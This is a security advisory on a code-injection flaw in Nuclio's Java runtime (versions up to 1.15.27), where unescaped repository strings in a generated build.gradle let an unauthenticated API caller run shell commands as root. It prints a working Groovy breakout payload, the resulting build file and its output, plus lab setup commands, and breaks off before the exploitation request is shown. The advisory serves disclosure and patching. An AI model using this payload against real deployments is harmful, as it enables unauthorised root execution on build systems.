Résumé

Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE

Détails de l’avis

Summary

Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.

The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)

Details

Root Cause

pkg/processor/build/runtime/java/runtime.go — function createGradleBuildScript()

Step 1. User input flows from the API into the template data map without validation

types.go:50-64newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:

// pkg/processor/build/runtime/java/types.go:50-64
func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
    newBuildAttributes := buildAttributes{}
    if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
        return nil, errors.Wrap(err, "Failed to decode build attributes")
    }
    if len(newBuildAttributes.Repositories) == 0 {
        newBuildAttributes.Repositories = []string{"mavenCentral()"}
    }
    return &newBuildAttributes, nil  // no validation of repository string contents
}

Step 2. text/template renders repositories verbatim into Groovy DSL

runtime.go:111,139 — the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:

// runtime.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())

// runtime.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)

The template section for repositories (runtime.go:155-159):

repositories {
    {{ range .Repositories }}
    {{ . }}
    {{ end }}
}

{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character — including }, (, ), newlines — is written directly to the .gradle file.

Step 3. Gradle evaluates the injected Groovy at configuration phase

The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:

gradle tasks       # configuration phase: top-level Groovy runs
gradle userHandler # configuration phase: top-level Groovy runs again

Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.

Injection Mechanics

Payload for repositories[0]:

mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

    mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {
    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.

Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.


Proof of Concept

Environment Setup

The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.

1. Create a dedicated kind cluster

cat > /tmp/kind-vul006.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 8070
    hostPort: 8070
    protocol: TCP
- role: worker
EOF

kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml

Expected output:

Creating cluster "vul-006" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
 ✓ Joining worker nodes
Set kubectl context to "kind-vul-006"

2. Pre-load required images

# Pull images on host
docker pull quay.io/nuclio/dashboard:1.15.27-amd64
docker pull quay.io/nuclio/controller:1.15.27-amd64
docker pull gcr.io/kaniko-project/executor:v1.23.2
docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64

# Load into kind cluster
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006

3. Deploy a local image registry accessible from kind nodes

# Start registry (reuse existing if present)
docker run -d --name kind-registry --restart=always \
  --network kind -p 127.0.0.1:5001:5000 registry:2

# Verify kind nodes can reach it
REGISTRY_IP=$(docker inspect kind-registry \
  --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/
# Expected: {}

4. Install Nuclio via Helm

kubectl --context kind-vul-006 create namespace nuclio

cat > /tmp/nuclio-values.yaml <<'EOF'
dashboard:
  enabled: true
  containerBuilderKind: "kaniko"
  monitorDockerDeamon:
    enabled: false
  image:
    pullPolicy: IfNotPresent
  kaniko:
    insecurePushRegistry: true
    insecurePullRegistry: true
    initContainerImage:
      busybox:
        repository: gcr.io/iguazio/alpine   # substitute for busybox if Docker Hub rate-limited
        tag: "3.20"

registry:
  pushPullUrl: "kind-registry:5000"

controller:
  enabled: true
  image:
    pullPolicy: IfNotPresent

rbac:
  create: true
  crdAccessMode: cluster
EOF

helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-006 \
  -f /tmp/nuclio-values.yaml \
  --wait --timeout 120s

Expected output:

NAME: nuclio
STATUS: deployed
REVISION: 1

5. Expose the Dashboard and verify connectivity

kubectl --context kind-vul-006 port-forward \
  -n nuclio svc/nuclio-dashboard 8070:8070 &

# Wait for readiness
sleep 5
curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
# Expected: HTTP 200

# Create the default project required by the API
curl -s -X POST http://localhost:8070/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}'

Exploitation Steps

Step 1 — Send the malicious function definition

The runtimeAttributes.repositories field accepts any string. Use Python to build a correctly escaped

Références